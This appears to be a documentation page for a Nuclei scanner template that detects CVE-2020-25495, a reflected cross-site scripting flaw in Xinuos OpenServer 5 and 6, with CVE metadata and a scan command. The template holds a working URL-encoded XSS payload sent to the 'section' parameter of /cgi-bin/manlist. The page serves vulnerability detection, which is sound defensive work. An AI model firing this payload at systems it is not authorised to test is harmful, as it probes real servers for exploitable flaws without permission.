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Xinuo Openserver 5/6 - Cross-Site scripting

ID: CVE-2020-25495

Severity: medium

Author: 0x_Akoko

Tags: cve2020,cve,sco,xss,edb,packetstorm,intrusive,xinuos

Description

Section titled “Description”

Xinuo (formerly SCO) Openserver versions 5 and 6 allows remote attackers to inject arbitrary web script or HTML tag via the parameter ‘section’ and is vulnerable to reflected cross-site scripting.

YAML Source

Section titled “YAML Source”
id: CVE-2020-25495


info:
  name: Xinuo Openserver 5/6 - Cross-Site scripting
  author: 0x_Akoko
  severity: medium
  description: Xinuo (formerly SCO) Openserver versions 5 and 6 allows remote attackers to inject arbitrary web script or HTML tag via the parameter 'section' and is vulnerable to reflected cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts or steal sensitive information from users.
  remediation: |
    Apply the latest security patches or updates provided by Xinuo to fix the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49300
    - https://github.com/Ramikan/Vulnerabilities/blob/master/SCO%20Openserver%20XSS%20%26%20HTML%20Injection%20vulnerability
    - http://packetstormsecurity.com/files/160634/SCO-Openserver-5.0.7-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25495
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-25495
    cwe-id: CWE-79
    epss-score: 0.0025
    epss-percentile: 0.64924
    cpe: cpe:2.3:a:xinuos:openserver:5.0.7:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xinuos
    product: openserver
  tags: cve2020,cve,sco,xss,edb,packetstorm,intrusive,xinuos


http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/manlist?section=%22%3E%3Ch1%3Ehello%3C%2Fh1%3E%3Cscript%3Ealert(/{{randstr}}/)%3C%2Fscript%3E"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <h1>hello</h1><script>alert(/{{randstr}}/)</script>


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4a0a004730450220505f88122b3c9dfc6f8c1e1265e35fa1e25538a37a90498e491d46c36cfe5ceb022100c18db96c5f2a3e79ef7c02b28bcfa8081fff8590b925e9abe0d68ae6abb6ab0f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-25495.yaml"

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